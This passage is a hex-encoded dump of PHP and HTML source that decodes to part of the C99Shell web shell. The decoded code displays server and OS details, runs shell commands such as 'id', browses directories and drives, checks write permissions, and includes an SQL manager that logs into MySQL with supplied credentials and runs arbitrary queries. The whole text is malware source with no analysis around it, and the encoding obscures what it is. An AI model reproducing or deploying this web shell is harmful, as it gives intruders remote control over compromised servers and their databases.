43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 20 62 6F 72 64 65 72 63 6F 6C 6F 72 3D 22 23 43 30 43 30 43 30 22 3E 3C 74 72 3E 3C 74 68 20 77 69 64 74 68 3D 22 31 30 31 25 22 20 68 65 69 67 68 74 3D 22 31 35 22 20 6E 6F 77 72 61 70 20 62 6F 72 64 65 72 63 6F 6C 6F 72 3D 22 23 43 30 43 30 43 30 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 20 63 6F 6C 73 70 61 6E 3D 22 32 22 3E 3C 70 3E 3C 66 6F 6E 74 20 66 61 63 65 3D 57 65 62 64 69 6E 67 73 20 73 69 7A 65 3D 36 3E 3C 62 3E 21 3C 2F 62 3E 3C 2F 66 6F 6E 74 3E 3C 61 20 68 72 65 66 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 66 6F 6E 74 20 66 61 63 65 3D 22 56 65 72 64 61 6E 61 22 20 73 69 7A 65 3D 22 35 22 3E 3C 62 3E 43 39 39 53 68 65 6C 6C 20 76 2E 20 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 68 76 65 72 3B 20 3F 3E 3C 2F 62 3E 3C 2F 66 6F 6E 74 3E 3C 2F 61 3E 3C 66 6F 6E 74 20 66 61 63 65 3D 57 65 62 64 69 6E 67 73 20 73 69 7A 65 3D 36 3E 3C 62 3E 21 3C 2F 62 3E 3C 2F 66 6F 6E 74 3E 3C 2F 70 3E 3C 2F 63 65 6E 74 65 72 3E 3C 2F 74 68 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 3E 3C 70 20 61 6C 69 67 6E 3D 22 6C 65 66 74 22 3E 3C 62 3E 53 6F 66 74 77 61 72 65 3A 26 6E 62 73 70 3B 3C 3F 70 68 70 20 65 63 68 6F 20 24 44 49 53 50 5F 53 45 52 56 45 52 5F 53 4F 46 54 57 41 52 45 3B 20 3F 3E 3C 2F 62 3E 26 6E 62 73 70 3B 3C 2F 70 3E 3C 70 20 61 6C 69 67 6E 3D 22 6C 65 66 74 22 3E 3C 62 3E 75 6E 61 6D 65 20 2D 61 3A 26 6E 62 73 70 3B 3C 3F 70 68 70 20 65 63 68 6F 20 77 6F 72 64 77 72 61 70 28 70 68 70 5F 75 6E 61 6D 65 28 29 2C 39 30 2C 22 3C 62 72 3E 22 2C 31 29 3B 20 3F 3E 3C 2F 62 3E 26 6E 62 73 70 3B 3C 2F 70 3E 3C 70 20 61 6C 69 67 6E 3D 22 6C 65 66 74 22 3E 3C 62 3E 3C 3F 70 68 70 20 69 66 20 28 21 24 77 69 6E 29 20 7B 65 63 68 6F 20 77 6F 72 64 77 72 61 70 28 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 69 64 22 29 2C 39 30 2C 22 3C 62 72 3E 22 2C 31 29 3B 7D 20 65 6C 73 65 20 7B 65 63 68 6F 20 67 65 74 5F 63 75 72 72 65 6E 74 5F 75 73 65 72 28 29 3B 7D 20 3F 3E 3C 2F 62 3E 26 6E 62 73 70 3B 3C 2F 70 3E 3C 70 20 61 6C 69 67 6E 3D 22 6C 65 66 74 22 3E 3C 62 3E 53 61 66 65 2D 6D 6F 64 65 3A 26 6E 62 73 70 3B 3C 3F 70 68 70 20 65 63 68 6F 20 24 68 73 61 66 65 6D 6F 64 65 3B 20 3F 3E 3C 2F 62 3E 3C 2F 70 3E 3C 70 20 61 6C 69 67 6E 3D 22 6C 65 66 74 22 3E 3C 3F 70 68 70 0A 24 64 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 64 29 3B 0A 69 66 20 28 65 6D 70 74 79 28 24 64 29 29 20 7B 24 64 20 3D 20 72 65 61 6C 70 61 74 68 28 22 2E 22 29 3B 7D 20 65 6C 73 65 69 66 28 72 65 61 6C 70 61 74 68 28 24 64 29 29 20 7B 24 64 20 3D 20 72 65 61 6C 70 61 74 68 28 24 64 29 3B 7D 0A 24 64 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 64 29 3B 0A 69 66 20 28 73 75 62 73 74 72 28 24 64 2C 2D 31 29 20 21 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 29 20 7B 24 64 20 2E 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 3B 7D 0A 24 64 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 5C 5C 22 2C 22 5C 5C 22 2C 24 64 29 3B 0A 24 64 69 73 70 64 20 3D 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 29 3B 0A 24 70 64 20 3D 20 24 65 20 3D 20 65 78 70 6C 6F 64 65 28 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 73 75 62 73 74 72 28 24 64 2C 30 2C 2D 31 29 29 3B 0A 24 69 20 3D 20 30 3B 0A 66 6F 72 65 61 63 68 28 24 70 64 20 61 73 20 24 62 29 0A 7B 0A 20 24 74 20 3D 20 22 22 3B 0A 20 24 6A 20 3D 20 30 3B 0A 20 66 6F 72 65 61 63 68 20 28 24 65 20 61 73 20 24 72 29 0A 20 7B 0A 20 20 24 74 2E 3D 20 24 72 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 3B 0A 20 20 69 66 20 28 24 6A 20 3D 3D 20 24 69 29 20 7B 62 72 65 61 6B 3B 7D 0A 20 20 24 6A 2B 2B 3B 0A 20 7D 0A 20 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 6C 73 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 74 29 2E 22 26 73 6F 72 74 3D 22 2E 24 73 6F 72 74 2E 22 5C 22 3E 3C 62 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 62 29 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 22 3C 2F 62 3E 3C 2F 61 3E 22 3B 0A 20 24 69 2B 2B 3B 0A 7D 0A 65 63 68 6F 20 22 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 22 3B 0A 69 66 20 28 69 73 5F 77 72 69 74 61 62 6C 65 28 24 64 29 29 0A 7B 0A 20 24 77 64 20 3D 20 74 72 75 65 3B 0A 20 24 77 64 74 20 3D 20 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 5B 20 6F 6B 20 5D 3C 2F 66 6F 6E 74 3E 22 3B 0A 20 65 63 68 6F 20 22 3C 62 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 22 2E 76 69 65 77 5F 70 65 72 6D 73 28 66 69 6C 65 70 65 72 6D 73 28 24 64 29 29 2E 22 3C 2F 66 6F 6E 74 3E 3C 2F 62 3E 22 3B 0A 7D 0A 65 6C 73 65 0A 7B 0A 20 24 77 64 20 3D 20 66 61 6C 73 65 3B 0A 20 24 77 64 74 20 3D 20 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 72 65 64 3E 5B 20 52 65 61 64 2D 4F 6E 6C 79 20 5D 3C 2F 66 6F 6E 74 3E 22 3B 0A 20 65 63 68 6F 20 22 3C 62 3E 22 2E 76 69 65 77 5F 70 65 72 6D 73 5F 63 6F 6C 6F 72 28 24 64 29 2E 22 3C 2F 62 3E 22 3B 0A 7D 0A 69 66 20 28 69 73 5F 63 61 6C 6C 61 62 6C 65 28 22 64 69 73 6B 5F 66 72 65 65 5F 73 70 61 63 65 22 29 29 0A 7B 0A 20 24 66 72 65 65 20 3D 20 64 69 73 6B 5F 66 72 65 65 5F 73 70 61 63 65 28 24 64 29 3B 0A 20 24 74 6F 74 61 6C 20 3D 20 64 69 73 6B 5F 74 6F 74 61 6C 5F 73 70 61 63 65 28 24 64 29 3B 0A 20 69 66 20 28 24 66 72 65 65 20 3D 3D 3D 20 66 61 6C 73 65 29 20 7B 24 66 72 65 65 20 3D 20 30 3B 7D 0A 20 69 66 20 28 24 74 6F 74 61 6C 20 3D 3D 3D 20 66 61 6C 73 65 29 20 7B 24 74 6F 74 61 6C 20 3D 20 30 3B 7D 0A 20 69 66 20 28 24 66 72 65 65 20 3C 20 30 29 20 7B 24 66 72 65 65 20 3D 20 30 3B 7D 0A 20 69 66 20 28 24 74 6F 74 61 6C 20 3C 20 30 29 20 7B 24 74 6F 74 61 6C 20 3D 20 30 3B 7D 0A 20 24 75 73 65 64 20 3D 20 24 74 6F 74 61 6C 2D 24 66 72 65 65 3B 0A 20 24 66 72 65 65 5F 70 65 72 63 65 6E 74 20 3D 20 72 6F 75 6E 64 28 31 30 30 2F 28 24 74 6F 74 61 6C 2F 24 66 72 65 65 29 2C 32 29 3B 0A 20 65 63 68 6F 20 22 3C 62 72 3E 3C 62 3E 46 72 65 65 20 22 2E 76 69 65 77 5F 73 69 7A 65 28 24 66 72 65 65 29 2E 22 20 6F 66 20 22 2E 76 69 65 77 5F 73 69 7A 65 28 24 74 6F 74 61 6C 29 2E 22 20 28 22 2E 24 66 72 65 65 5F 70 65 72 63 65 6E 74 2E 22 25 29 3C 2F 62 3E 22 3B 0A 7D 0A 65 63 68 6F 20 22 3C 62 72 3E 22 3B 0A 24 6C 65 74 74 65 72 73 20 3D 20 22 22 3B 0A 69 66 20 28 24 77 69 6E 29 0A 7B 0A 20 24 76 20 3D 20 65 78 70 6C 6F 64 65 28 22 5C 5C 22 2C 24 64 29 3B 0A 20 24 76 20 3D 20 24 76 5B 30 5D 3B 0A 20 66 6F 72 65 61 63 68 20 28 72 61 6E 67 65 28 22 61 22 2C 22 7A 22 29 20 61 73 20 24 6C 65 74 74 65 72 29 0A 20 7B 0A 20 20 24 62 6F 6F 6C 20 3D 20 24 69 73 64 69 73 6B 65 74 74 65 20 3D 20 69 6E 5F 61 72 72 61 79 28 24 6C 65 74 74 65 72 2C 24 73 61 66 65 6D 6F 64 65 5F 64 69 73 6B 65 74 74 65 73 29 3B 0A 20 20 69 66 20 28 21 24 62 6F 6F 6C 29 20 7B 24 62 6F 6F 6C 20 3D 20 69 73 5F 64 69 72 28 24 6C 65 74 74 65 72 2E 22 3A 5C 5C 22 29 3B 7D 0A 20 20 69 66 20 28 24 62 6F 6F 6C 29 0A 20 20 7B 0A 20 20 20 24 6C 65 74 74 65 72 73 20 2E 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 6C 73 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 6C 65 74 74 65 72 2E 22 3A 5C 5C 22 29 2E 22 5C 22 22 2E 28 24 69 73 64 69 73 6B 65 74 74 65 3F 22 20 6F 6E 63 6C 69 63 6B 3D 5C 22 72 65 74 75 72 6E 20 63 6F 6E 66 69 72 6D 28 27 4D 61 6B 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 64 69 73 6B 65 74 74 65 20 69 73 20 69 6E 73 65 72 74 65 64 20 70 72 6F 70 65 72 6C 79 2C 20 6F 74 68 65 72 77 69 73 65 20 61 6E 20 65 72 72 6F 72 20 6D 61 79 20 6F 63 63 75 72 2E 27 29 5C 22 22 3A 22 22 29 2E 22 3E 5B 20 22 3B 0A 20 20 20 69 66 20 28 24 6C 65 74 74 65 72 2E 22 3A 22 20 21 3D 20 24 76 29 20 7B 24 6C 65 74 74 65 72 73 20 2E 3D 20 24 6C 65 74 74 65 72 3B 7D 0A 20 20 20 65 6C 73 65 20 7B 24 6C 65 74 74 65 72 73 20 2E 3D 20 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 22 2E 24 6C 65 74 74 65 72 2E 22 3C 2F 66 6F 6E 74 3E 22 3B 7D 0A 20 20 20 24 6C 65 74 74 65 72 73 20 2E 3D 20 22 20 5D 3C 2F 61 3E 20 22 3B 0A 20 20 7D 0A 20 7D 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 6C 65 74 74 65 72 73 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 44 65 74 65 63 74 65 64 20 64 72 69 76 65 73 3C 2F 62 3E 3A 20 22 2E 24 6C 65 74 74 65 72 73 2E 22 3C 62 72 3E 22 3B 7D 0A 7D 0A 69 66 20 28 63 6F 75 6E 74 28 24 71 75 69 63 6B 6C 61 75 6E 63 68 29 20 3E 20 30 29 0A 7B 0A 20 66 6F 72 65 61 63 68 28 24 71 75 69 63 6B 6C 61 75 6E 63 68 20 61 73 20 24 69 74 65 6D 29 0A 20 7B 0A 20 20 24 69 74 65 6D 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 64 22 2C 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2C 24 69 74 65 6D 5B 31 5D 29 3B 0A 20 20 24 69 74 65 6D 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 73 6F 72 74 22 2C 24 73 6F 72 74 2C 24 69 74 65 6D 5B 31 5D 29 3B 0A 20 20 24 76 20 3D 20 72 65 61 6C 70 61 74 68 28 24 64 2E 22 2E 2E 22 29 3B 0A 20 20 69 66 20 28 65 6D 70 74 79 28 24 76 29 29 20 7B 24 61 20 3D 20 65 78 70 6C 6F 64 65 28 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 64 29 3B 20 75 6E 73 65 74 28 24 61 5B 63 6F 75 6E 74 28 24 61 29 2D 32 5D 29 3B 20 24 76 20 3D 20 6A 6F 69 6E 28 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 61 29 3B 7D 0A 20 20 24 69 74 65 6D 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 75 70 64 22 2C 75 72 6C 65 6E 63 6F 64 65 28 24 76 29 2C 24 69 74 65 6D 5B 31 5D 29 3B 0A 20 20 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 69 74 65 6D 5B 31 5D 2E 22 5C 22 3E 22 2E 24 69 74 65 6D 5B 30 5D 2E 22 3C 2F 61 3E 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 22 3B 0A 20 7D 0A 7D 0A 65 63 68 6F 20 22 3C 2F 70 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 3C 62 72 3E 22 3B 0A 69 66 20 28 28 21 65 6D 70 74 79 28 24 64 6F 6E 61 74 65 64 5F 68 74 6D 6C 29 29 20 61 6E 64 20 28 69 6E 5F 61 72 72 61 79 28 24 61 63 74 2C 24 64 6F 6E 61 74 65 64 5F 61 63 74 29 29 29 20 7B 65 63 68 6F 20 22 3C 54 41 42 4C 45 20 73 74 79 6C 65 3D 5C 22 42 4F 52 44 45 52 2D 43 4F 4C 4C 41 50 53 45 3A 20 63 6F 6C 6C 61 70 73 65 5C 22 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 35 20 77 69 64 74 68 3D 5C 22 31 30 30 25 5C 22 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 3E 3C 74 72 3E 3C 74 64 20 77 69 64 74 68 3D 5C 22 31 30 30 25 5C 22 20 76 61 6C 69 67 6E 3D 5C 22 74 6F 70 5C 22 3E 22 2E 24 64 6F 6E 61 74 65 64 5F 68 74 6D 6C 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 3C 62 72 3E 22 3B 7D 0A 65 63 68 6F 20 22 3C 54 41 42 4C 45 20 73 74 79 6C 65 3D 5C 22 42 4F 52 44 45 52 2D 43 4F 4C 4C 41 50 53 45 3A 20 63 6F 6C 6C 61 70 73 65 5C 22 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 35 20 77 69 64 74 68 3D 5C 22 31 30 30 25 5C 22 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 3E 3C 74 72 3E 3C 74 64 20 77 69 64 74 68 3D 5C 22 31 30 30 25 5C 22 20 76 61 6C 69 67 6E 3D 5C 22 74 6F 70 5C 22 3E 22 3B 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 22 29 20 7B 24 61 63 74 20 3D 20 24 64 73 70 61 63 74 20 3D 20 22 6C 73 22 3B 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 73 71 6C 22 29 0A 7B 0A 20 24 73 71 6C 5F 73 75 72 6C 20 3D 20 24 73 75 72 6C 2E 22 61 63 74 3D 73 71 6C 22 3B 0A 20 69 66 20 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 20 20 7B 24 73 71 6C 5F 73 75 72 6C 20 2E 3D 20 22 26 73 71 6C 5F 6C 6F 67 69 6E 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 3B 7D 0A 20 69 66 20 28 24 73 71 6C 5F 70 61 73 73 77 64 29 20 7B 24 73 71 6C 5F 73 75 72 6C 20 2E 3D 20 22 26 73 71 6C 5F 70 61 73 73 77 64 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 3B 7D 0A 20 69 66 20 28 24 73 71 6C 5F 73 65 72 76 65 72 29 20 7B 24 73 71 6C 5F 73 75 72 6C 20 2E 3D 20 22 26 73 71 6C 5F 73 65 72 76 65 72 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 3B 7D 0A 20 69 66 20 28 24 73 71 6C 5F 70 6F 72 74 29 20 20 20 7B 24 73 71 6C 5F 73 75 72 6C 20 2E 3D 20 22 26 73 71 6C 5F 70 6F 72 74 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 3B 7D 0A 20 69 66 20 28 24 73 71 6C 5F 64 62 29 20 20 20 20 20 7B 24 73 71 6C 5F 73 75 72 6C 20 2E 3D 20 22 26 73 71 6C 5F 64 62 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 64 62 29 3B 7D 0A 20 24 73 71 6C 5F 73 75 72 6C 20 2E 3D 20 22 26 22 3B 0A 20 3F 3E 3C 68 33 3E 41 74 74 65 6E 74 69 6F 6E 21 20 53 51 4C 2D 4D 61 6E 61 67 65 72 20 69 73 20 3C 75 3E 4E 4F 54 3C 2F 75 3E 20 72 65 61 64 79 20 6D 6F 64 75 6C 65 21 20 44 6F 6E 27 74 20 72 65 70 6F 72 74 73 20 62 75 67 73 2E 3C 2F 68 33 3E 3C 54 41 42 4C 45 20 73 74 79 6C 65 3D 22 42 4F 52 44 45 52 2D 43 4F 4C 4C 41 50 53 45 3A 20 63 6F 6C 6C 61 70 73 65 22 20 68 65 69 67 68 74 3D 31 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 35 20 77 69 64 74 68 3D 22 31 30 30 25 22 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 20 62 6F 72 64 65 72 63 6F 6C 6F 72 3D 22 23 43 30 43 30 43 30 22 3E 3C 74 72 3E 3C 74 64 20 77 69 64 74 68 3D 22 31 30 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 20 63 6F 6C 73 70 61 6E 3D 22 32 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 63 65 6E 74 65 72 3E 3C 3F 70 68 70 0A 20 69 66 20 28 24 73 71 6C 5F 73 65 72 76 65 72 29 0A 20 7B 0A 20 20 24 73 71 6C 5F 73 6F 63 6B 20 3D 20 6D 79 73 71 6C 5F 63 6F 6E 6E 65 63 74 28 24 73 71 6C 5F 73 65 72 76 65 72 2E 22 3A 22 2E 24 73 71 6C 5F 70 6F 72 74 2C 20 24 73 71 6C 5F 6C 6F 67 69 6E 2C 20 24 73 71 6C 5F 70 61 73 73 77 64 29 3B 0A 20 20 24 65 72 72 20 3D 20 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 28 29 3B 0A 20 20 40 6D 79 73 71 6C 5F 73 65 6C 65 63 74 5F 64 62 28 24 73 71 6C 5F 64 62 2C 24 73 71 6C 5F 73 6F 63 6B 29 3B 0A 20 20 69 66 20 28 24 73 71 6C 5F 71 75 65 72 79 20 61 6E 64 20 24 73 75 62 6D 69 74 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 5F 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 24 73 71 6C 5F 71 75 65 72 79 2C 24 73 71 6C 5F 73 6F 63 6B 29 3B 20 24 73 71 6C 5F 71 75 65 72 79 5F 65 72 72 6F 72 20 3D 20 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 28 29 3B 7D 0A 20 7D 0A 20 65 6C 73 65 20 7B 24 73 71 6C 5F 73 6F 63 6B 20 3D 20 66 61 6C 73 65 3B 7D 0A 20 65 63 68 6F 20 22 3C 62 3E 53 51 4C 20 4D 61 6E 61 67 65 72 3A 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 69 66 20 28 21 24 73 71 6C 5F 73 6F 63 6B 29 0A 20 7B 0A 20 20 69 66 20 28 21 24 73 71 6C 5F 73 65 72 76 65 72 29 20 7B 65 63 68 6F 20 22 4E 4F 20 43 4F 4E 4E 45 43 54 49 4F 4E 22 3B 7D 0A 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 43 61 6E 27 74 20 63 6F 6E 6E 65 63 74 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 20 65 63 68 6F 20 22 3C 62 3E 22 2E 24 65 72 72 2E 22 3C 2F 62 3E 22 3B 7D 0A 20 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 24 73 71 6C 71 75 69 63 6B 6C 61 75 6E 63 68 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 24 73 71 6C 71 75 69 63 6B 6C 61 75 6E 63 68 5B 5D 20 3D 20 61 72 72 61 79 28 22 49 6E 64 65 78 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 73 71 6C 26 73 71 6C 5F 6C 6F 67 69 6E 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 2E 22 26 73 71 6C 5F 70 61 73 73 77 64 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 2E 22 26 73 71 6C 5F 73 65 72 76 65 72 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 2E 22 26 73 71 6C 5F 70 6F 72 74 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 2E 22 26 22 29 3B 0A 20 20 24 73 71 6C 71 75 69 63 6B 6C 61 75 6E 63 68 5B 5D 20 3D 20 61 72 72 61 79 28 22 51 75 65 72 79 22 2C 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 61 63 74 3D 71 75 65 72 79 26 73 71 6C 5F 74 62 6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 73 71 6C 5F 74 62 6C 29 29 3B 0A 20 20 24 73 71 6C 71 75 69 63 6B 6C 61 75 6E 63 68 5B 5D 20 3D 20 61 72 72 61 79 28 22 53 65 72 76 65 72 2D 73 74 61 74 75 73 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 73 71 6C 26 73 71 6C 5F 6C 6F 67 69 6E 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 2E 22 26 73 71 6C 5F 70 61 73 73 77 64 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 2E 22 26 73 71 6C 5F 73 65 72 76 65 72 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 2E 22 26 73 71 6C 5F 70 6F 72 74 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 2E 22 26 73 71 6C 5F 61 63 74 3D 73 65 72 76 65 72 73 74 61 74 75 73 22 29 3B 0A 20 20 24 73 71 6C 71 75 69 63 6B 6C 61 75 6E 63 68 5B 5D 20 3D 20 61 72 72 61 79 28 22 53 65 72 76 65 72 20 76 61 72 69 61 62 6C 65 73 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 73 71 6C 26 73 71 6C 5F 6C 6F 67 69 6E 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 2E 22 26 73 71 6C 5F 70 61 73 73 77 64 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 2E 22 26 73 71 6C 5F 73 65 72 76 65 72 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 2E 22 26 73 71 6C 5F 70 6F 72 74 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 2E 22 26 73 71 6C 5F 61 63 74 3D 73 65 72 76 65 72 76 61 72 73 22 29 3B 0A 20 20 24 73 71 6C 71 75 69 63 6B 6C 61 75 6E 63 68 5B 5D 20 3D 20 61 72 72 61 79 28 22 50 72 6F 63 65 73 73 65 73 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 73 71 6C 26 73 71 6C 5F 6C 6F 67 69 6E 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 2E 22 26 73 71 6C 5F 70 61 73 73 77 64 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 2E 22 26 73 71 6C 5F 73 65 72 76 65 72 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 2E 22 26 73 71 6C 5F 70 6F 72 74 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 2E 22 26 73 71 6C 5F 61 63 74 3D 70 72 6F 63 65 73 73 65 73 22 29 3B 0A 20 20 24 73 71 6C 71 75 69 63 6B 6C 61 75 6E 63 68 5B 5D 20 3D 20 61 72 72 61 79 28 22 4C 6F 67 6F 75 74 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 73 71 6C 22 29 3B 0A 20 20 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 4D 79 53 51 4C 20 22 2E 6D 79 73 71 6C 5F 67 65 74 5F 73 65 72 76 65 72 5F 69 6E 66 6F 28 29 2E 22 20 28 70 72 6F 74 6F 20 76 2E 22 2E 6D 79 73 71 6C 5F 67 65 74 5F 70 72 6F 74 6F 5F 69 6E 66 6F 20 28 29 2E 22 29 20 72 75 6E 6E 69 6E 67 20 69 6E 20 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 2E 22 3A 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 2E 22 20 61 73 20 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 